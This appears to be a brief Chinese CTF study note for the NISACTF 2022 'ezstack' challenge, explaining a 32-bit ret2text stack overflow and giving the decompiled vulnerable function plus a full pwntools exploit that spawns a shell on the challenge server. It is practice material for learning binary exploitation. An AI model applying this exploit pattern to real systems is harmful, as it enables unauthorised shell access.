[NISACTF 2022]ezstack

第一次打CTF——PWN篇学习笔记11

32位的ret2text，偏移值为0x48+4，在ida中查找system和/bin/sh的地址，编写脚本得到flag

ssize_t shell() { _BYTE buf[72]; // [esp+0h] [ebp-48h] BYREF ​ system("echo Welcome to NISACTF"); return read(0, buf, 0x60u); }

from pwn import * import struct ​ context.arch = 'amd64' context.os = 'linux' ​ #io = process('./pwn') io = remote("node5.anna.nssctf.cn",23450) ​ system = 0x08048390 binsh = 0x0804A024 ​ payload = cyclic(0x48 + 4) + p32(system) + p32(0xdeadbeef) + p32(binsh) ​ io.sendline(payload) ​ io.interactive()